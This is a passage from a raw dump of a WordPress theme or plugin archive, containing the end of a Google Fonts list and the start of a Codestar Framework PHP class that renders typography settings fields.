      'Rubik Puddles'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Wet Paint'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Ruda'=>[['normal','500','600','700','800','900'],['cyrillic','latin','latin-ext','vietnamese']],
      'Rufina'=>[['normal','700'],['latin','latin-ext']],
      'Ruge Boogie'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Ruluko'=>[['normal'],['latin','latin-ext']],
      'Rum Raisin'=>[['normal'],['latin','latin-ext']],
      'Ruslan Display'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Russo One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Ruthie'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Rye'=>[['normal'],['latin','latin-ext']],
      'STIX Two Text'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Sacramento'=>[['normal'],['latin','latin-ext']],
      'Sahitya'=>[['normal','700'],['devanagari','latin']],
      'Sail'=>[['normal'],['latin','latin-ext']],
      'Saira'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Saira Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Extra Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Semi Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Saira Stencil One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Salsa'=>[['normal'],['latin']],
      'Sanchez'=>[['normal','italic'],['latin','latin-ext']],
      'Sancreek'=>[['normal'],['latin','latin-ext']],
      'Sansita'=>[['normal','italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext']],
      'Sansita Swashed'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Sarabun'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext','thai','vietnamese']],
      'Sarala'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Sarina'=>[['normal'],['latin','latin-ext']],
      'Sarpanch'=>[['normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Sassy Frass'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Satisfy'=>[['normal'],['latin']],
      'Sawarabi Gothic'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Sawarabi Mincho'=>[['normal'],['japanese','latin','latin-ext']],
      'Scada'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Scheherazade New'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Schoolbell'=>[['normal'],['latin']],
      'Scope One'=>[['normal'],['latin','latin-ext']],
      'Seaweed Script'=>[['normal'],['latin','latin-ext']],
      'Secular One'=>[['normal'],['hebrew','latin','latin-ext']],
      'Sedgwick Ave'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sedgwick Ave Display'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sen'=>[['normal','700','800'],['latin','latin-ext']],
      'Send Flowers'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sevillana'=>[['normal'],['latin','latin-ext']],
      'Seymour One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Shadows Into Light'=>[['normal'],['latin']],
      'Shadows Into Light Two'=>[['normal'],['latin','latin-ext']],
      'Shalimar'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Shanti'=>[['normal'],['latin']],
      'Share'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Share Tech'=>[['normal'],['latin']],
      'Share Tech Mono'=>[['normal'],['latin']],
      'Shippori Antique'=>[['normal'],['japanese','latin','latin-ext']],
      'Shippori Antique B1'=>[['normal'],['japanese','latin','latin-ext']],
      'Shippori Mincho'=>[['normal','500','600','700','800'],['japanese','latin','latin-ext']],
      'Shippori Mincho B1'=>[['normal','500','600','700','800'],['japanese','latin','latin-ext']],
      'Shojumaru'=>[['normal'],['latin','latin-ext']],
      'Short Stack'=>[['normal'],['latin']],
      'Shrikhand'=>[['normal'],['gujarati','latin','latin-ext']],
      'Siemreap'=>[['normal'],['khmer']],
      'Sigmar One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Signika'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Signika Negative'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Silkscreen'=>[['normal','700'],['latin','latin-ext']],
      'Simonetta'=>[['normal','italic','900','900italic'],['latin','latin-ext']],
      'Single Day'=>[['normal'],['korean']],
      'Sintony'=>[['normal','700'],['latin','latin-ext']],
      'Sirin Stencil'=>[['normal'],['latin']],
      'Six Caps'=>[['normal'],['latin']],
      'Skranji'=>[['normal','700'],['latin','latin-ext']],
      'Slabo 13px'=>[['normal'],['latin','latin-ext']],
      'Slabo 27px'=>[['normal'],['latin','latin-ext']],
      'Slackey'=>[['normal'],['latin']],
      'Smokum'=>[['normal'],['latin']],
      'Smooch'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Smooch Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Smythe'=>[['normal'],['latin']],
      'Sniglet'=>[['normal','800'],['latin','latin-ext']],
      'Snippet'=>[['normal'],['latin']],
      'Snowburst One'=>[['normal'],['latin','latin-ext']],
      'Sofadi One'=>[['normal'],['latin']],
      'Sofia'=>[['normal'],['latin']],
      'Solway'=>[['300','normal','500','700','800'],['latin']],
      'Song Myung'=>[['normal'],['korean','latin']],
      'Sono'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Sonsie One'=>[['normal'],['latin','latin-ext']],
      'Sora'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext']],
      'Sorts Mill Goudy'=>[['normal','italic'],['latin','latin-ext']],
      'Source Code Pro'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Sans 3'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Sans Pro'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Source Serif 4'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Source Serif Pro'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Space Grotesk'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Space Mono'=>[['normal','italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Special Elite'=>[['normal'],['latin']],
      'Spectral'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Spectral SC'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Spicy Rice'=>[['normal'],['latin']],
      'Spinnaker'=>[['normal'],['latin','latin-ext']],
      'Spirax'=>[['normal'],['latin']],
      'Splash'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Spline Sans'=>[['300','normal','500','600','700'],['latin','latin-ext']],
      'Spline Sans Mono'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Squada One'=>[['normal'],['latin']],
      'Square Peg'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Sree Krushnadevaraya'=>[['normal'],['latin','telugu']],
      'Sriracha'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Srisakdi'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Staatliches'=>[['normal'],['latin','latin-ext']],
      'Stalemate'=>[['normal'],['latin','latin-ext']],
      'Stalinist One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Stardos Stencil'=>[['normal','700'],['latin']],
      'Stick'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Stick No Bills'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Stint Ultra Condensed'=>[['normal'],['latin','latin-ext']],
      'Stint Ultra Expanded'=>[['normal'],['latin','latin-ext']],
      'Stoke'=>[['300','normal'],['latin','latin-ext']],
      'Strait'=>[['normal'],['latin']],
      'Style Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Stylish'=>[['normal'],['korean','latin']],
      'Sue Ellen Francisco'=>[['normal'],['latin']],
      'Suez One'=>[['normal'],['hebrew','latin','latin-ext']],
      'Sulphur Point'=>[['300','normal','700'],['latin','latin-ext']],
      'Sumana'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Sunflower'=>[['300','500','700'],['korean','latin']],
      'Sunshiney'=>[['normal'],['latin']],
      'Supermercado One'=>[['normal'],['latin']],
      'Sura'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Suranna'=>[['normal'],['latin','telugu']],
      'Suravaram'=>[['normal'],['latin','telugu']],
      'Suwannaphum'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Swanky and Moo Moo'=>[['normal'],['latin']],
      'Syncopate'=>[['normal','700'],['latin']],
      'Syne'=>[['normal','500','600','700','800'],['greek','latin','latin-ext']],
      'Syne Mono'=>[['normal'],['latin','latin-ext']],
      'Syne Tactile'=>[['normal'],['latin','latin-ext']],
      'Tai Heritage Pro'=>[['normal','700'],['latin','latin-ext','tai-viet','vietnamese']],
      'Tajawal'=>[['200','300','normal','500','700','800','900'],['arabic','latin']],
      'Tangerine'=>[['normal','700'],['latin']],
      'Tapestry'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Taprom'=>[['normal'],['khmer','latin']],
      'Tauri'=>[['normal'],['latin','latin-ext']],
      'Taviraj'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Teko'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Telex'=>[['normal'],['latin','latin-ext']],
      'Tenali Ramakrishna'=>[['normal'],['latin','telugu']],
      'Tenor Sans'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Text Me One'=>[['normal'],['latin','latin-ext']],
      'Texturina'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Thasadith'=>[['normal','italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'The Girl Next Door'=>[['normal'],['latin']],
      'The Nautigal'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Tienne'=>[['normal','700','900'],['latin']],
      'Tillana'=>[['normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Timmana'=>[['normal'],['latin','telugu']],
      'Tinos'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Tiro Bangla'=>[['normal','italic'],['bengali','latin','latin-ext']],
      'Tiro Devanagari Hindi'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Devanagari Marathi'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Devanagari Sanskrit'=>[['normal','italic'],['devanagari','latin','latin-ext']],
      'Tiro Gurmukhi'=>[['normal','italic'],['gurmukhi','latin','latin-ext']],
      'Tiro Kannada'=>[['normal','italic'],['kannada','latin','latin-ext']],
      'Tiro Tamil'=>[['normal','italic'],['latin','latin-ext','tamil']],
      'Tiro Telugu'=>[['normal','italic'],['latin','latin-ext','telugu']],
      'Titan One'=>[['normal'],['latin','latin-ext']],
      'Titillium Web'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','900'],['latin','latin-ext']],
      'Tomorrow'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext']],
      'Tourney'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Trade Winds'=>[['normal'],['latin']],
      'Train One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Trirong'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Trispace'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Trocchi'=>[['normal'],['latin','latin-ext']],
      'Trochut'=>[['normal','italic','700'],['latin']],
      'Truculenta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Trykker'=>[['normal'],['latin','latin-ext']],
      'Tulpen One'=>[['normal'],['latin']],
      'Turret Road'=>[['200','300','normal','500','700','800'],['latin','latin-ext']],
      'Twinkle Star'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Ubuntu'=>[['300','300italic','normal','italic','500','500italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Ubuntu Condensed'=>[['normal'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Ubuntu Mono'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Uchen'=>[['normal'],['latin','tibetan']],
      'Ultra'=>[['normal'],['latin']],
      'Uncial Antiqua'=>[['normal'],['latin']],
      'Underdog'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Unica One'=>[['normal'],['latin','latin-ext']],
      'UnifrakturCook'=>[['700'],['latin']],
      'UnifrakturMaguntia'=>[['normal'],['latin']],
      'Unkempt'=>[['normal','700'],['latin']],
      'Unlock'=>[['normal'],['latin']],
      'Unna'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Updock'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Urbanist'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'VT323'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Vampiro One'=>[['normal'],['latin','latin-ext']],
      'Varela'=>[['normal'],['latin','latin-ext']],
      'Varela Round'=>[['normal'],['hebrew','latin','latin-ext','vietnamese']],
      'Varta'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Vast Shadow'=>[['normal'],['latin']],
      'Vazirmatn'=>[['100','200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Vesper Libre'=>[['normal','500','700','900'],['devanagari','latin','latin-ext']],
      'Viaoda Libre'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Vibes'=>[['normal'],['arabic','latin']],
      'Vibur'=>[['normal'],['latin']],
      'Vidaloka'=>[['normal'],['latin']],
      'Viga'=>[['normal'],['latin','latin-ext']],
      'Voces'=>[['normal'],['latin','latin-ext']],
      'Volkhov'=>[['normal','italic','700','700italic'],['latin']],
      'Vollkorn'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Vollkorn SC'=>[['normal','600','700','900'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Voltaire'=>[['normal'],['latin']],
      'Vujahday Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Waiting for the Sunrise'=>[['normal'],['latin']],
      'Wallpoet'=>[['normal'],['latin']],
      'Walter Turncoat'=>[['normal'],['latin']],
      'Warnes'=>[['normal'],['latin','latin-ext']],
      'Water Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Waterfall'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Wellfleet'=>[['normal'],['latin','latin-ext']],
      'Wendy One'=>[['normal'],['latin','latin-ext']],
      'Whisper'=>[['normal'],['latin','latin-ext','vietnamese']],
      'WindSong'=>[['normal','500'],['latin','latin-ext','vietnamese']],
      'Wire One'=>[['normal'],['latin']],
      'Work Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Xanh Mono'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'Yaldevi'=>[['200','300','normal','500','600','700'],['latin','latin-ext','sinhala']],
      'Yanone Kaffeesatz'=>[['200','300','normal','500','600','700'],['cyrillic','latin','latin-ext','vietnamese']],
      'Yantramanav'=>[['100','300','normal','500','700','900'],['devanagari','latin','latin-ext']],
      'Yatra One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Yellowtail'=>[['normal'],['latin']],
      'Yeon Sung'=>[['normal'],['korean','latin']],
      'Yeseva One'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Yesteryear'=>[['normal'],['latin']],
      'Yomogi'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Yrsa'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Yuji Boku'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yuji Mai'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yuji Syuku'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Yusei Magic'=>[['normal'],['japanese','latin','latin-ext']],
      'ZCOOL KuaiLe'=>[['normal'],['chinese-simplified','latin']],
      'ZCOOL QingKe HuangYou'=>[['normal'],['chinese-simplified','latin']],
      'ZCOOL XiaoWei'=>[['normal'],['chinese-simplified','latin']],
      'Zen Antique'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Antique Soft'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Dots'=>[['normal'],['latin','latin-ext']],
      'Zen Kaku Gothic Antique'=>[['300','normal','500','700','900'],['cyrillic','japanese','latin','latin-ext']],
      'Zen Kaku Gothic New'=>[['300','normal','500','700','900'],['cyrillic','japanese','latin','latin-ext']],
      'Zen Kurenaido'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Loop'=>[['normal','italic'],['latin','latin-ext']],
      'Zen Maru Gothic'=>[['300','normal','500','700','900'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Old Mincho'=>[['normal','500','600','700','900'],['cyrillic','greek','japanese','latin','latin-ext']],
      'Zen Tokyo Zoo'=>[['normal'],['latin','latin-ext']],
      'Zeyada'=>[['normal'],['latin']],
      'Zhi Mang Xing'=>[['normal'],['chinese-simplified','latin']],
      'Zilla Slab'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext']],
      'Zilla Slab Highlight'=>[['normal','700'],['latin','latin-ext']],
    ];
  }
}
PK     N\yZ  Z  6  inc/options/framework/fields/typography/typography.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: typography
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_typography' ) ) {
  class CSF_Field_typography extends CSF_Fields {

    public $chosen = false;

    public $value  = array();

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      $args                  = wp_parse_args( $this->field, array(
        'font_family'        => true,
        'font_weight'        => true,
        'font_style'         => true,
        'font_size'          => true,
        'line_height'        => true,
        'letter_spacing'     => true,
        'text_align'         => true,
        'text_transform'     => true,
        'color'              => true,
        'chosen'             => true,
        'preview'            => true,
        'subset'             => true,
        'multi_subset'       => false,
        'extra_styles'       => false,
        'backup_font_family' => false,
        'font_variant'       => false,
        'word_spacing'       => false,
        'text_decoration'    => false,
        'custom_style'       => false,
        'compact'            => false,
        'exclude'            => '',
        'unit'               => 'px',
        'line_height_unit'   => '',
        'preview_text'       => 'The quick brown fox jumps over the lazy dog',
      ) );

      if ( $args['compact'] ) {
        $args['text_transform'] = false;
        $args['text_align']     = false;
        $args['font_size']      = false;
        $args['line_height']    = false;
        $args['letter_spacing'] = false;
        $args['preview']        = false;
        $args['color']          = false;
      }

      $default_value         = array(
        'font-family'        => '',
        'font-weight'        => '',
        'font-style'         => '',
        'font-variant'       => '',
        'font-size'          => '',
        'line-height'        => '',
        'letter-spacing'     => '',
        'word-spacing'       => '',
        'text-align'         => '',
        'text-transform'     => '',
        'text-decoration'    => '',
        'backup-font-family' => '',
        'color'              => '',
        'custom-style'       => '',
        'type'               => '',
        'subset'             => '',
        'extra-styles'       => array(),
      );

      $default_value    = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;
      $this->value      = wp_parse_args( $this->value, $default_value );
      $this->chosen     = $args['chosen'];
      $chosen_class     = ( $this->chosen ) ? ' csf--chosen' : '';
      $line_height_unit = ( ! empty( $args['line_height_unit'] ) ) ? $args['line_height_unit'] : $args['unit'];

      echo '<div class="csf--typography'. esc_attr( $chosen_class ) .'" data-depend-id="'. esc_attr( $this->field['id'] ) .'" data-unit="'. esc_attr( $args['unit'] ) .'" data-line-height-unit="'. esc_attr( $line_height_unit ) .'" data-exclude="'. esc_attr( $args['exclude'] ) .'">';

        echo '<div class="csf--blocks csf--blocks-selects">';

          //
          // Font Family
          if ( ! empty( $args['font_family'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Family', 'csf' ) .'</div>';
            echo $this->create_select( array( $this->value['font-family'] => $this->value['font-family'] ), 'font-family', esc_html__( 'Select a font', 'csf' ) );
            echo '</div>';
          }

          //
          // Backup Font Family
          if ( ! empty( $args['backup_font_family'] ) ) {
            echo '<div class="csf--block csf--block-backup-font-family hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Backup Font Family', 'csf' ) .'</div>';
            echo $this->create_select( apply_filters( 'csf_field_typography_backup_font_family', array(
              'Arial, Helvetica, sans-serif',
              "'Arial Black', Gadget, sans-serif",
              "'Comic Sans MS', cursive, sans-serif",
              'Impact, Charcoal, sans-serif',
              "'Lucida Sans Unicode', 'Lucida Grande', sans-serif",
              'Tahoma, Geneva, sans-serif',
              "'Trebuchet MS', Helvetica, sans-serif",
              'Verdana, Geneva, sans-serif',
              "'Courier New', Courier, monospace",
              "'Lucida Console', Monaco, monospace",
              'Georgia, serif',
              'Palatino Linotype'
            ) ), 'backup-font-family', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Font Style and Extra Style Select
          if ( ! empty( $args['font_weight'] ) || ! empty( $args['font_style'] ) ) {

            //
            // Font Style Select
            echo '<div class="csf--block csf--block-font-style hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Font Style', 'csf') .'</div>';
            echo '<select class="csf--font-style-select" data-placeholder="Default">';
            echo '<option value="">'. ( ! $this->chosen ? esc_html__( 'Default', 'csf' ) : '' ) .'</option>';
            if ( ! empty( $this->value['font-weight'] ) || ! empty( $this->value['font-style'] ) ) {
              echo '<option value="'. esc_attr( strtolower( $this->value['font-weight'] . $this->value['font-style'] ) ) .'" selected></option>';
            }
            echo '</select>';
            echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[font-weight]' ) ) .'" class="csf--font-weight" value="'. esc_attr( $this->value['font-weight'] ) .'" />';
            echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[font-style]' ) ) .'" class="csf--font-style" value="'. esc_attr( $this->value['font-style'] ) .'" />';

            //
            // Extra Font Style Select
            if ( ! empty( $args['extra_styles'] ) ) {
              echo '<div class="csf--block-extra-styles hidden">';
              echo ( ! $this->chosen ) ? '<div class="csf--title">'. esc_html__( 'Load Extra Styles', 'csf' ) .'</div>' : '';
              $placeholder = ( $this->chosen ) ? esc_html__( 'Load Extra Styles', 'csf' ) : esc_html__( 'Default', 'csf' );
              echo $this->create_select( $this->value['extra-styles'], 'extra-styles', $placeholder, true );
              echo '</div>';
            }

            echo '</div>';

          }

          //
          // Subset
          if ( ! empty( $args['subset'] ) ) {
            echo '<div class="csf--block csf--block-subset hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Subset', 'csf' ) .'</div>';
            $subset = ( is_array( $this->value['subset'] ) ) ? $this->value['subset'] : array_filter( (array) $this->value['subset'] );
            echo $this->create_select( $subset, 'subset', esc_html__( 'Default', 'csf' ), $args['multi_subset'] );
            echo '</div>';
          }

          //
          // Text Align
          if ( ! empty( $args['text_align'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Align', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'inherit' => esc_html__( 'Inherit', 'csf' ),
              'left'    => esc_html__( 'Left', 'csf' ),
              'center'  => esc_html__( 'Center', 'csf' ),
              'right'   => esc_html__( 'Right', 'csf' ),
              'justify' => esc_html__( 'Justify', 'csf' ),
              'initial' => esc_html__( 'Initial', 'csf' )
            ), 'text-align', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Font Variant
          if ( ! empty( $args['font_variant'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Variant', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'normal'         => esc_html__( 'Normal', 'csf' ),
              'small-caps'     => esc_html__( 'Small Caps', 'csf' ),
              'all-small-caps' => esc_html__( 'All Small Caps', 'csf' )
            ), 'font-variant', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Text Transform
          if ( ! empty( $args['text_transform'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Transform', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'none'       => esc_html__( 'None', 'csf' ),
              'capitalize' => esc_html__( 'Capitalize', 'csf' ),
              'uppercase'  => esc_html__( 'Uppercase', 'csf' ),
              'lowercase'  => esc_html__( 'Lowercase', 'csf' )
            ), 'text-transform', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Text Decoration
          if ( ! empty( $args['text_decoration'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Decoration', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'none'               => esc_html__( 'None', 'csf' ),
              'underline'          => esc_html__( 'Solid', 'csf' ),
              'underline double'   => esc_html__( 'Double', 'csf' ),
              'underline dotted'   => esc_html__( 'Dotted', 'csf' ),
              'underline dashed'   => esc_html__( 'Dashed', 'csf' ),
              'underline wavy'     => esc_html__( 'Wavy', 'csf' ),
              'underline overline' => esc_html__( 'Overline', 'csf' ),
              'line-through'       => esc_html__( 'Line-through', 'csf' )
            ), 'text-decoration', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

        echo '</div>';

        echo '<div class="csf--blocks csf--blocks-inputs">';

          //
          // Font Size
          if ( ! empty( $args['font_size'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Size', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[font-size]' ) ) .'" class="csf--font-size csf--input csf-input-number" value="'. esc_attr( $this->value['font-size'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Line Height
          if ( ! empty( $args['line_height'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Line Height', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[line-height]' ) ) .'" class="csf--line-height csf--input csf-input-number" value="'. esc_attr( $this->value['line-height'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $line_height_unit ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Letter Spacing
          if ( ! empty( $args['letter_spacing'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Letter Spacing', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[letter-spacing]' ) ) .'" class="csf--letter-spacing csf--input csf-input-number" value="'. esc_attr( $this->value['letter-spacing'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Word Spacing
          if ( ! empty( $args['word_spacing'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Word Spacing', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[word-spacing]' ) ) .'" class="csf--word-spacing csf--input csf-input-number" value="'. esc_attr( $this->value['word-spacing'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

        echo '</div>';

        //
        // Font Color
        if ( ! empty( $args['color'] ) ) {
